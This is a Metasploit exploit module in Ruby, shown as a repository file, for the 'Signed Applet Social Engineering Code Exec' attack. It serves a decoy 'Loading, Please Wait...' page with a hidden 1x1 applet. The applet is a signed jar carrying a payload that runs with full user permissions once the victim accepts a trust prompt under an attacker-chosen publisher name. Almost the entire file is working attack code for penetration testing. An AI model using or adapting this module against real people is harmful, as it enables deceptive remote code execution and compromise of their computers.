Files
metasploit-gs/modules/exploits/multi/browser/java_signed_applet.rb
T
James Lee 11a1b5dcad fix the requires for java signing.
git-svn-id: file:///home/svn/framework3/trunk@12719 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-25 18:02:02 +00:00

264 lines
8.3 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Java
include Msf::Exploit::EXE
def initialize( info = {} )
super( update_info( info,
'Name' => 'Signed Applet Social Engineering Code Exec',
'Description' => %q{
This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it
to a .jar file, then signs the .jar with a dynamically created certificate containing
values of your choosing. This is presented to the end user via a web page with an applet
tag, loading the signed applet. Once the user clicks "run", the applet
executes with full user permissions.
The user's JVM pops a dialog asking if they trust the signed applet. On
older versions the dialog will display our provided CN in the "Publisher"
line. Newer JVMs display "UNKNOWN" when the signature is not trusted
(i.e., it's not signed by a trusted CA). The SigningCert option allows you
to provide a trusted cert. If SigningCert is not given, a randomly
generated cert will be used.
},
'License' => MSF_LICENSE,
'Author' => [ 'natron' ],
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 1
))
register_options(
[
OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'", "SiteLoader" ]),
OptString.new('APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
OptPath.new('SigningCert', [ false, "Path to a signing certificate. Values from the cert will override CERTCN" ]),
# Not implemented yet.
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
# Needs Rex::Zip to be able to crack zip files
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
], self.class)
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
p = regenerate_payload(cli)
if not p
print_error("Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
# If we haven't returned yet, then this is a request for our applet
# jar, build one for this victim.
jar = p.encoded_jar
data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet")
jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class")))
jar.build_manifest
if datastore["SigningCert"]
cert_str = File.read(datastore["SigningCert"])
@cert = OpenSSL::X509::Certificate.new(cert_str)
# First try it as RSA and fallback to DSA if that doesn't work
begin
@key = OpenSSL::PKey::RSA.new(cert_str)
rescue OpenSSL::PKey::RSAError => e
@key = OpenSSL::PKey::DSA.new(cert_str)
end
else
# Name.parse uses a simple regex that isn't smart enough to allow slashes or
# commas in values, just remove them.
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
)
@key = OpenSSL::PKey::DSA.new(1024)
@cert = OpenSSL::X509::Certificate.new
@cert.version = 2
@cert.serial = 1
@cert.subject = x509_name
@cert.issuer = x509_name
@cert.public_key = @key.public_key
@cert.not_before = Time.now
@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
end
jar.sign(@key, @cert)
File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
print_status(
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
"Waiting for user to click 'accept'...")
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
html << %Q|<applet archive="#{datastore["APPLETNAME"]}.jar"\n|
if @use_static
html << %Q| code="SiteLoader" width="1" height="1">\n|
else
html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
end
html << %Q|</applet>\n</body></html>|
return html
end
def build_static_sig(jar)
files = [
"metasploit/Payload.class",
"SiteLoader.class",
"META-INF/MANIFEST.MF",
"META-INF/SIGNFILE.RSA",
"META-INF/SIGNFILE.SF",
]
# Ghetto. Replace existing files in the Jar, then add in
# anything that wasn't replaced. The reason for replacing the
# .class files is to ensure that we're sending the
# Payload.class as was signed rather than a newer one that was
# updated without updating the signature. We'll just have to
# cross our fingers and hope that any updates don't break
# backwards compatibility in the handler until we can get
# signing to work from ruby. Once we can sign jars directly
# from ruby using OpenSSL, this won't be a problem.
replaced = []
# Replace the ones that are already there.
jar.entries.map do |e|
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
if File.file? file
File.open(file, "rb") do |f|
e.data = f.read(f.stat.size)
end
end
replaced << e.name
end
# Add the rest
files.each { |e|
next if replaced.include? e
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
File.open(file, "rb") do |f|
jar.add_file(e, f.read(f.stat.size))
end
}
jar
end
# Currently unused until we ship a java compiler of some sort
def applet_code
applet = <<-EOS
import java.applet.*;
import metasploit.*;
public class #{datastore["APPLETNAME"]} extends Applet {
public void init() {
try {
Payload.main(null);
} catch (Exception ex) {
//ex.printStackTrace();
}
}
}
EOS
end
end
=begin
The following stores a bunch of intermediate files on the path to creating the signature. The
ImportKey class used for testing was obtained from:
http://www.agentbob.info/agentbob/79-AB.html
system("rm -rf signed_crap/*")
File.open("signed_crap/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }
File.open("signed_crap/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }
File.open("signed_crap/unsigned.jar", "wb") { |f| f.write jar.to_s }
File.open("signed_crap/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
system("openssl x509 -in signed_crap/cert.pem -inform PEM -out signed_crap/cert.der -outform DER")
system("openssl pkcs8 -topk8 -nocrypt -in signed_crap/key.pem -inform PEM -out signed_crap/key.der -outform DER")
system("java -cp . ImportKey signed_crap/key.der signed_crap/cert.der")
system("mv ~/keystore.ImportKey ~/.keystore")
system("jarsigner -storepass importkey signed_crap/jarsigner-signed.jar importkey")
jar.sign(@key, @cert)
File.open("signed_crap/signed.jar", "wb") { |f| f.write jar.to_s }
=end